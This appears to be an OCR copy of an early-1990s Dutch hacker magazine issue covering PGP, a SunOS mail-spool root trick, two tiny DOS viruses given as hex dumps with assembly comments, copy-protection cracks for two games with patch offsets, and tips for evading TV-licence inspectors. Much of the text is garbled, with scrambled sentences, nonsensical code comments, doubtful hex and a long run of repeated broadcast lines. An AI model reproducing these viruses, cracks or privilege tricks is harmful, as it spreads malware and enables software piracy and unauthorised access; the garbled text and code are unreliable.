Versleutel geen files op remote-systemen, iemand kan de lijn aftappen en je post-phrase ophangen, of iemand met voldoende privileges kan je terminal infiltreren. Check recente versies van PGP altijd tegen de file PCIP.CTX, dit vertelt je ervan dat het afkomstig is van Phil Zimmermann, niet de eerste versie die je ontving niet gecompromitteerd was.

Met een techniek genaamd "Tempest" is het mogelijk alles wat naar je beeldscherm gaat op te vangen en uit te lezen. Dit is te voorkomen door je computer te lokalen, of te schermen tegen uitstraling van elektromagnetische straling, of veel simpeler, de file wegvoeren naar de printer te starten.

Als iemand over voldoende supercomputers beschikt, zou het in theorie mogelijk zijn om je RSA sleutel te kraken. De Verenigde Staten gebruiken RSA 140-bit om sommige van hun atoomgegevens te versleutelen, over het algemeen zijn ze daar ook niet. Ook is het mogelijk dat iemand een methode vindt om het conventionele algoritme te kraken. Weet niet of te paranoide, men is niet over 1 nacht ijz geworden bij het ontwerp van PGP.

Toekomstige versies van PGP

Het bedrijf Public Key Partners, dat het patent op het RSA algoritme beheert, heeft Phil Zimmermann met een proces-geld reed als hij PGP verbeterd of nog verder verspreid. Het RSA patent geldt echter alleen in de VS, dus nieuwe versies worden door andere distributies ontwikkeld, onder supervisie van Phil Zimmermann.

De nieuwe versie zal handiger in het gebruik zijn, het sleutelbeheer is verbeterd. De conventionele en de RSA encryptie zijn sneller, RSA zelfs ro'n 80%. Het nieuwe conventionele encryptie-algoritme heet IDEA en is daar een Zwitsers bedrijf ontwikkeld. Het schijnt dat dit algoritme sneller is dan DES. Het werlt op het ogenblik door IBM en Masat, twee voornaamste cryptografen, getest op veiligheid. De data-encryptiemethode die gebruikt wordt zal functioneel gelijk zijn aan PGP. Er zullen versies worden uitgebracht voor SPARC Ultra, Ultra, VAX/VMS, Commodore Amiga, Atari ST, OS/2, en natuurlijk MSDOS. Versie 2.0 zal liggen in Maart vanuit Nieuw Zeeland worden verspreid.

Leuk, maar waar vind ik PGP ?

De DOS-versie is te vinden op verschillende Internet FTP sites (meer naar archiefplaatsen li met als subject "prog pgp" om te voorkomen) en op Utopia BBS. Daar is te vinden de DOS-versie ook een Amiga-versie en de broncode (in portable C) aanwijzig. Heb je tijd over, probeer dan een versie op jouw computer (Atari of OS/2) draaiende te krijgen. Er is verlangt ook een me gescreende shell gemaakt die het gebruik van PGP nog makkelijker maakt. Heb je vragen over PGP neem dan contact op met fract@utopia.tuchind.nl, voor de Amiga versie met scop@utopia.tuchind.nl Philip Zimmerman is te bereiken als postbode op uz@cam.ac.uk. Utopia heeft ook een speciaal berichtengedrukt voor PGP berichten en Public Keys.

Julius "Fuck the G-men" Deure

Leuke bug in SunOS 4.1 van RGB

Als je op een SunOS 4.1 (of earlier) met roottoegang bent, kun je bepaalde situaties die kun je de gebruiker van deze gebruiker aanpassen, maar die gebruiker gaat niet in de spool-directory heeft. Maar Wat je doet is het volgende:

```
Je vult een de shell met de mailfile van de gebruiker van i en je zet de i-ke van de file aan op: /usr/spool/mail/ijournal. (ook i27-ijournal)
#chown 4777 /usr/spool/mail/ijournal
```

Verwijder dan je mail het laatste dat we op Mailspool 27-beschrijven, maar van dat we met verbod. Het maakt niet uit wat er is. Het is:

```
#rm /usr/spool/mail/ijournal.27 (if)
```

De mail file is nu ingevuld van de gebruiker in kwestie, maar de i-ke staat nog steeds aan. Als je nu de shell van deze i hebt:

```
/usr/spool/mail/ijournal.27-ijournal
```

dan krijg je een nieuwe shell met /usr/spool/mail/ijournal.27-ijournal. Je kan nu de naam en het wachtwoord van deze gebruiker te gebruiken. Weet je vijf leuke vragen staat op uz@cam.ac.uk bedankt af.

Memory-resident virus (van 83 bytes!)

Professor Klaus Brunnstein van de universiteit van Hamburg vindt het Hack-De virus uit het vorige nummer maar teke, getuige zijn postbrieven op het Usenet, een wereldwijd computernetwerk. Volgens hem is het de Bulgaren gelukt een memory resident virus van maar liefst 98 bytes te maken. Al weet de prof niet waar hij het over heeft, een uitdaging is een uitdaging.

Experts zullen misschien beweren dat het volgende virus volstrekt onmogelijk is. Het is namelijk memory resident, heeft een totale omvang van 83 bytes, en besmet bestaande EXE-files! Alhoef dat niet al genoeg is, worden "bestanden" niet helemaal niet veranderd! Er kan dus gesproken worden van een "naf" byte virus.

Wij hebben het onmogelijke bereikt door gebruik te maken van een eenvoudig doch elegant trucje dat berust op het feit dat DOS altijd eerst naar COM-files zoekt. Het virus maakt daarvoor een "schaduw" COM-file aan met dezelfde naam als de EXE. Hierdoor wordt het virus altijd als eerst geladen.

Dit virus besmet iedere EXE-file, waar dan ook, die opgestart wordt. Behoedzaamheid is geboden. Het is een zeer effectief virusje dat al een keer ontspaan is in het Hack-De netwerk en een team experts die al precies wisten hoe het werkte toch de nodige hoofafbreken bevoegd heeft. Het enige wat je van dit virus zal merken is dat er blijkbaar niets gebeurt als je de eerste keer een besmette EXE-file opstart. Dit is omdat het virus eerst geladen moet worden. De gemiddelde gebruiker zal de opdracht gewoon opnieuw proberen, waarna alles normaal lijkt te werken. Zo goed Prof?

```
-----
[0]          segment
[0]          org     1000
[0]          assume cs:1611h, ds:1611h, es:1611h
[0]
[0]          org     10000h (1611-1000)          ;ADDRESS OF VIRUS CODE
[0]
[0]          ;THE FOLLOWING CODE HELPS THE VIRUS TO RESIDE. IN CASE THE INTERRUPT
[0]          ;CODE AS SHOULD BE POSITIONED, THE INT 11 (POWER ON RESET) IN SAME SYSTEM
[0]          ;THE VIRUS CODE WILL NOT COLLABORATELY CHANGE THE MEMORY IN AN OPERATING
[0]          ;BY THE OPERATING. THIS WILL BRING THE SYSTEM TO CRASH. THIS, BETWEEN
[0]          ;THE BEGIN FOR THE LAST, WITH AN AND FOUR BYTES TO THE NEXTENT CODE
[0]          ;THE FIRST TIME THAT AN "EXERCISE" FILE IS RUN, IT WILL DELETE ITSELF IN
[0]          ;FILE. THIS IS BECAUSE THE EXERCISE CODE MUST FIRST BE LOADED. AFTER THAT
[0]          ;OPERATIONS WILL BECOME TO WORK NORMALLY. TO REMOVE THIS PROGRAM, ALTHO
[0]          ;THE MEMORY CONTROL BEARS TO FIND THE EXERCISE CODE, THIS JUMP TO IT. A
[0]          ;FILE BEING POSITIONED IN TO LOAD THE VIRUS IN THE END OF MEMORY AND
[0]          ;LOAD IN THERE. ALSO, IN THE EXERCISE INTERRUPT, IT WILL CHANGE THE
[0]          ;CHECK POINT WITH A FOR JUMP TO THE VIRUS AND THEN RETURN TO USER
[0]          ;OPERATIONS WILL MAKE A SEVEN SEVEN SEVEN THREE.
[0]
```


Hack-Tic demovirus II

Het "kortste" virus is alweer korter geworden. Letter 'Montat' heeft de appeltaart gewonnen door ons te wijzen dat register SI al door DOS op 0100 hex geïnitieerd wordt, de eerste instructie is dus overbodig. Met nog een verbetering van ons orbi werd het virus daarna 106 bytes. Professor Bruantich uit de Bondersrepubliek kwam met wat vriendelijke, opbouwende kritiek, waardoor wij het virus nog eens onder de loop genomen hebben. Resultaat: het virus is nu precies 93 bytes! Hiermee claimen wij het absolute wereldrecord voor dit soort virus (zie siden in dit nummer voor een techniek die een nog korter virus levert).

Dit betekent wij door maar 1 bestand tegelijk te laten besmetten en door een nieuw PSP aan te maken en de code van het besmette programma naar een hoger segment te verplaatsen. Na het runnen van het virus wordt naar het programma gesprongen via een Far Return. Omdat het programma (een "child process", eigenlijk) terug naar DOS gaat na afloop, moeten wij een laatste instructie om een "memory allocation" instructie te voorkomen. Dit doen wij door de gaskloofend gebruikte zoveel mogelijk in te krimpen. Met een getal van 0F hex zorgen wij er voor dat de Memory Control Block uitkomt op PSP+PCH, waar het een redelijke overloefingskans heeft. Dit betekent wel dat er een paar honderd bytes geborgde gegevens blijven nadat een besmet programma gedraaid is.

Het vorige Hack-Tic demovirus (waarvoor wij nog zo indrukwekkelijk gezegd hebben dat het 'Het Hack-Tic demovirus' heette) staat inmiddels in de officiële viruslijsten, als 'African 109-virus'.

Hack-Tic demovirus II

```
88 0F 00 84 6A CD 21 8C
02 80 04 10 8E 02 58
84 24 09 21 89 99 80 50
03 70 85 28 73 84 4F 5F
8A 57 41 84 48 89 02 54
4F 09 21 72 27 8A 70 00
88 02 20 CD 21 93 88 07
84 3F 09 21 85 50 00 80
20 88 74 83 50 23 CF 88
00 47 89 CD 21 99 84 4E
84 40 09 21 86 1F 0B 8A
2E 43 4F 40 89 03
```

83-byte resident virus

```
88 23 35 0B 23 8F 53 0E
8F 10 8C 45 02 8A 18 0E
88 25 09 21 88 87 00 23
20 00 48 75 30 50 84 18
87 88 7A 80 20 72 40 77
80 45 58 88 2A 5F 07 58
50 52 7C 0E 88 18 00 80
43 4F 40 80 40 8A 5A 50
72 10 8F 02 00 84 3C CD
21 93 8E 1F 81 50 88 04
84 40 8A
```


Indianapolis 500

Van een lezer kregen wij dit Taaty (yack) spel met de gebruikelijke opstart-plaatjes en vragen die je moet oplossen in de handleiding. Misschien is het wel een leuk spelletje. Dat weet ik niet. Het gaat mij alleen om het kraken daarvan. Hoewel, een spel dat (jaar 1999) OSA resulteert op een VCI-archief is zo! —

Die opstartvragen maken meestal gebruik van twee technieken. Er moet een manier zijn om een vraag willekeurig te selecteren. Sommige programma's doen dit door naar de klok te kijken en de tijdstelling te gebruiken als een soort "random number generator". Dit kan met de DCR tijd laatste IC hex, de BMS klokrap LA hex, of door naar het geheugen te kijken op adres 0000D6AC hex.

Indianapolis 500 gebruikt de andere techniek. Door een nul naar poort 43 hex te schrijven, en daarna poort 43 hex een paar keer terug te lezen, krijg je elk een min of meer willekeurig getal. De opstartvraag die je te zien krijgt wordt dan op basis van dit getal gekozen. De gemakkelijkste manier om dit te ondersnijden is de routine die de poort leest in het programma op te zoeken (een makkelijk met Norton Utilities), en te overschrijven met een instructie die altijd hetzelfde getal terug geeft (bijv. nul). Dit is precies wat ik hier gedaan heb.

In dit geval gaat het om een patch op file offset 0728 hex. Hier moet je 30C0 hex zetten. Dit is de "XOR AX,AX" instructie, wat register AX op nul zet. Nu krijg je bij het opstarten van het spel altijd het vierde plaatje uit de handleiding te zien.

Het programma kan nog altijd vier mogelijke vragen over deze afbeelding stellen. Dit is het handig te weten dat het om Howdy Wilson gaat, die de INDY in 1919 won met een snelheid van 88.05 miles per hour en een tijd van 5:40.4.

Simearth

Eigenlijk is deze achterlijke beveiliging niet een te moeilijk vraag, maar ik zet het hier niet voor de beginners die ook een keer willen racen doen. Na het installeren laad je het hoofdprogramma "SIMEARTH.EXE" met Norton Utilities of iets dergelijks. Ga naar file offset 5E338 hex. Overschrijf alle cijfers en punten (maar niet de ASCII waarden) met decimaal0 (ASCII 0 hex). Ga terug en schrijf ASCII 0 na iedere 30 hex die ASCII 0 volgt (00 30 00). Bewaar de veranderde file. Bij iedere opstartvraag hoef je nu alleen 'F' als antwoord in te tikken. Verander de tekst op file offset 5B602 hex voor cinclous amonement.

Vanaf het volgende nummer willen we in deze rubriek ook kraken van lezers brengen. Als je het gevoel hebt dat je een stuk software op een bijzondere manier gekraakt hebt dan horen wij dat graag. Hoe moeilijker, hoe beter.

Norton DiskReet is een IBM PC programma waarmee je een zogenaamde encrypted disk kunt aanmaken. Dit is een disk die zich gedraagt als een gewone disk, alleen is alle data die er op staat alleen te lezen als de disk 'geopend' wordt met het juiste wachtwoord.

Met een configuratieprogramma, DR.EXE, kun je een disk aanmaken van een zelf te kiezen grootte. De inhoud van deze disk, die door DOS en voor zover mij bekend alle DOS programma's als een normale logische DOS-disk herkend wordt, staat in een file in de root-directory van I van je disks. Deze file is normaal te lezen, maar de inhoud is gecrypt, dus onleesbaar. De Amerikanen vrezet van DiskReet, die een 'strategische' redenom niet geprotesterd mag worden, maar die je bij Amerikaansepostorderbedrijven waarschijnlijk gewoon kan bestellen, gebruikt het DES algoritme voor het versleutelen van de data op de disk. Behalve DES wordt ook een trage ('weeter') algoritme van de firma Norton gebruikt, maar dit om ik niet vertrouw, temeer daar Norton de specificaties hiervan niet vrij wil geven.

DiskReet kan zo geïnstalleerd worden dat er om het wachtwoord word gevraagd zodra de benodigde drivers, direct, DISKREET.SYS, wordt geladen. Ik vind het handiger om DiskReet zo in te stellen dat er een pop-up window verschijnt dat om het wachtwoord vraagt zodra je de disk beaandert. Je kunt overigens meerdere DiskReet drives aanmaken. Een eenmaal aangemaakte disk kan je groter of kleiner maken. DiskReet kan zo worden ingesteld dat de disk ook automatisch start als er een bepaalde tijd gaat gelinkt van is gemaakt. Deze 'strategische gevoelige' versie van DiskReet komt van een vriend uit Montreal, maar er zouden hier in der verlies veel moeten hangen.

Bug Report

In de vorige Hack-Tie stonden op pagina 51 een microfoon- en een telefooncondertje. Het microfoon-ventilatieje heeft, als je het hoort naar aanpakken, soms een vervelend, 'warmer' in het geluid. Dit is te verhelpen door een 22 pF condensatorje parallel aan R4 te zetten.

Verder had het schema twee condensatoren die C4 genoemd waren, maar daar is overhoen te komen. Omal evenzo voor het gemak.

Zwartkijkers

Nijk- en hiistergeld (ook wel de ontroepbijdrage) is een professionele manier om het Nederlandse publiek grote sommen geld efficiënt te maken. Het geld wordt onder meer gebruikt om kwaliteitsprogramma's als 'Medisch Centrum West' en heel, heel, heel veel quizen op de hals te kanten.



In het licht van de vele verslechteringen en de grote verontrustende toename van de massamedia in Europa na het nijk- en hiistergeld is langere tijd wel je had hebben. Dit weten ze ook bij de dienst die het geld uit en daarom zijn ze begonnen aan een laatste efficiënt. 'De aarde is de beste verdediging', je hoort het te denken.

Met posten, kwantificaties, sporten op TV, folders bij het postkantoor en zelfs rondrijdende auto's met het 'beste oog' schitteren wil men bereiken dat je bang wordt en betaalt.

"Wij weten precies wie te nijk- en hiistergeld betaald en wie niet. Met andere woorden: als u zwartkijker bent kennen wij u. Binnenkort komt u ons kennen... Dat weet u vast wel en dat moeten wij weten" zo blikt de advertentie.

Als je nog nooit betaald hebt, en je het ook niet van plan bent, dan zijn hier een paar richtlijnen om financiële of andere problemen te voorkomen.

- **Belangrijk:** als je Kabel-TV hebt moet je ook ontroepbijdrage betalen. Het is wel heel makkelijk om te kijken wie er wel kabel heeft en geen TV. Zeg dus snel je kabel op. Overigens kan je als je geen kabel hebt nog steeds een controleur over de vloer krijgen, de kans is alleen een stuk kleiner.
- Als je met meerdere mensen woont, betaal 1 x kabel en ontroepbijdrage en zorg dat je het signaal van de kabel met een groot aantal mensen deelt. In dat geval kan je gelijk met 2 x alleen gebruik maken van 1 opnamekabel (zie pagina 21). Als je onderhouden bent moet je de ontroepbijdrage betalen, tenzij je in geval van alarm sneller met de TV beweegt dan kan zijn dan de inspectie bevest.
- Als je niemand kunt vinden met de TV beweegt dan het signaal van eventuele bevestigingen. Zorg wel dat je er een venterkerfje tussen hangt zodat er niet gaat klagen over de slechte beeldkwaliteit. Gevoerd door bemanning de slechte van het kabelkoptje op straat. Dit kan ook erg handig zijn als de kwaliteit van het gebodene is

laag blijkt dat het noodzakelijk is om de hele buurt van een eigen signaal te voorzien

- Zet een telefoon-aansluiting op van mensen in dezelfde buurt zodat je elkaar wel kunt waarschuwen als er een controleur in gevaagschoed. Era gewaarschuwd want net r'n TV bij betalende, maar noch solitaire bureau of zo. Vergast ook de eventuele videorecorder en/of TV-gids met
- Als je gewaarschuwd bent is het waarschijnlijk het verstandigst om helemaal niet open te doen. Als je wel opendoet kan je er voor kiezen om te niet binnen te laten. Niet hingen gelaten inspecteurs worden echter boos, hallo (jeer sach!) een huiszoekingsbevel en zullen veel minder geneigd zijn om te geloven dat je die TV gewoon hebt gekocht (jeer geloven is dat normaal ook niet echt, maar toch...)
- Je hebt hele kleine TV's die je makkelijk kunt verstoppert. Zorg dan wel dan ook je kabelaanleiding een beetje te gecamoufleerd. Ook zijn er TV-tuners die je op je computer-monitor aan kunt sluiten. Er is zelfs een TV-tasakaart voor de PC die het beeld in een MS-Win dow (jeer!) zet. Ik moet de inspecteur nog een die je PC opschreeft.
- Als je helemaal geen TV ontvangst wilt hebben (bijvoorbeeld omdat je alleen video of muziek kijkt) dan kan je je tuner laten 'uitbrengen' en dan hoeft je niet meer te betalen. Hoe dit precies werkt en waar je het moet aanbrengen (en hoe het dit met de tuner in je eventuele videorecorder) weet ik ook niet. Maar in 3 jaar verdien je toch mooi je eigen DRS satellite satellite.

Het gaat niet om die 172 gulden per jaar, maar om het principe. Vandaag je TV, morgen je modem, en overmorgen staat het bus ong je van alle kasten aan. Ik geef graag meer geld aan mijn favoriete orroep, maar van mij gaat geen cent naar de THOS.

Fractio



Het hemd van je lijf!

De speurtocht naar de stereotype hacker

Hack-Tie wil graag iets meer weten over zijn lezers. Daarom nu een lezers-enquête. We zouden graag willen dat zoveel mogelijk afwezende de antwoorden op de onderstaande vragen op de bij deze Hack-Tie gevoegde antwoordkaart invullen. Mensen die de Hack-Tie los kopen kunnen toch meedoen door alle antwoorden op een brief of briefkaart te schrijven en deze naar onze redactiepostbus op te sturen. Wij zouden het in ieder geval naar op prijs

stellen als ook deze groep lezers in de uitslag verantwoordigd is.

De antwoorden op deze vragen zullen ons theoretisch kunnen helpen om Hack-Tie nog beter te maken. Een aantal vragen is slechts opgenomen om een perverse nieuwsgierigheid bij 1 of meer redakteurs te bevredigen. Veel je zeker niet gedwongen om alle vragen in te vullen.

Indien de invullende wordt een Dams-Dialer Bouwpakket verlost.

- 1. Ben je een meisje of een jongetje? (vrij spreken)
- 2. Hoe oud ben je?
- 3. Wat zijn de cijfers van je postcode
- 4. Kun je overweg met:

1. LIND	11. ZX Spectrum	21. E26	31. Dragon's Lair
2. VAA/VMS	12. MacT	22. VHS-meter	32. Pk8
3. MS-DOS	13. Ben	23. Snelreboot	33. OTM
4. Apple IIe	14. Apple	24. 3-28	34. CD
5. Atari ST	15. Archimedes	25. ZINC 14	35. Tempert
6. Amiga	16. C	26. APC-47	36. Durat
7. BBC/Atom	17. BASIC	27. APC-14	37. Castalia
8. Apple II	18. C++	28. Synchronizer	38. G-40
9. Atari II-bit	19. C++	29. Quellmacro	39. Zapp
10. C-64	20. TOPUP	30. rlist	40. Stroom

Antwoorden met:

'Ja!' (A)

'Oh ja!' (B)

'Kan ik me overweg' (C)

of

'Kan ik dromen' (D)

5. Vroeger, nu en later.

- | | | | |
|------------------|------------------|----------------------|--------------------|
| 1. Lagere School | 6. NAVO | 11. Telecom-beam | 16. Steen werk |
| 2. LBO | 7. VNO | 12. Militaire dienst | 17. Werk bij media |
| 3. HBO | 8. Universiteit | 13. Politiek links | 18. Eigen bedrijf |
| 4. HBO | 9. Computer-beam | 14. Politiek rechts | 19. Symp |
| 5. NAVO | 10. Financ-beam | 15. Baarloop | 20. De stress |

(Antwoorden met vroeger (A), nu (B) nu/of later (C))

6. Inkomen

- | | |
|---|-----------------------------------|
| A. Zeer laag (salaris) | D. Hoog (goede beam) |
| B. Laag (bv. uitkering of studietoelag) | E. Zeer hoog (meer dan 100.000/-) |
| C. Gemiddeld (beamt) | |

7. Ben je:

- | | | |
|----------------|----------------------|-----------------------|
| 1. Hacker? | 6. Hardware-geek? | 9. Manager? |
| 2. Power? | 7. UNIX-geek? | 10. Consultant? |
| 3. Cyberpunk? | 8. Data-transmitter? | 11. Gemachtigd? |
| 4. Watcr-club? | 5. Systeembeheerder? | 12. Start-upgevoelig? |

8. Hoeveel:

- | | |
|---------------------------------------|--|
| 1. computers heb je? | 6. Hack-Tie's heb je thuis liggen? |
| 2. floppy disks heb je? | 7. procent van elke Hack-Tie snap je niet? |
| 3. mensen weten de Hack-Tie via jou? | 8. betaald je per hour meer dan aan de FT? |
| 4. kollektieven draaien van Hack-Tie? | 9. een 24 uur per dag achter de computer? |
| 5. andere Hack-Tie-abonnees ken je? | |

9. Heb je:

- | | |
|-------------------------------------|---|
| 1. een modem? | 10. wel eens een virus geïnstalleerd? |
| 2. een harddisk? | 11. Hack-Tie (ook) vanwege je werk? |
| 3. tijd/schermgeld betaald? | 12. ervaring in Hack-Tie geavanceerd? |
| 4. je modem in huis? | 13. alle Hack-Tie's? |
| 5. een auto? | 14. je tijd zelf soms ingekopen? |
| 7. een computer gekraakt? | 15. teveel geld betaald voor Hack-Tie? |
| 8. software gekraakt? | 16. minstens drie plannen om je abonnement te verkragen (je te abonneren) |
| 9. getalfermeerd zonder te betalen? | |

10. Open vragen:

1. Hoe/wanneer leerde je voor het eerst van Hack-Tie?
2. Wat deed je het eerste aan Hack-Tie?
3. Wat staat je het meest aan Hack-Tie?
4. Wat mis je in Hack-Tie?
5. Verdere opmerkingen:

Deze aflevering van de serie is te zien op 14 en 15 juni.
Prijzen: 1990,- (incl. verzending van de
aflevering) of 1990,- (incl. verzending van de aflevering)
De aflevering wordt uitgezonden op zaterdag 14 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 15 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 16 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 17 juni om 19.00 uur.



De aflevering...

De aflevering wordt uitgezonden op zaterdag 14 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 15 juni om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 16 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 17 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 18 juni om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 19 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 20 juni om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 21 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 22 juni om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 23 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 24 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 25 juni om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 26 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 27 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 28 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 29 juni om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 30 juni om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 1 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 2 juli om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 3 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 4 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 5 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 6 juli om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 7 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 8 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 9 juli om 19.00 uur.

De aflevering wordt uitgezonden op zaterdag 10 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 11 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 12 juli om 19.00 uur.

De aflevering...

De aflevering...

De aflevering wordt uitgezonden op zaterdag 13 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 14 juli om 19.00 uur.
De aflevering wordt uitgezonden op zaterdag 15 juli om 19.00 uur.

Black-plezier voor het hele gezin!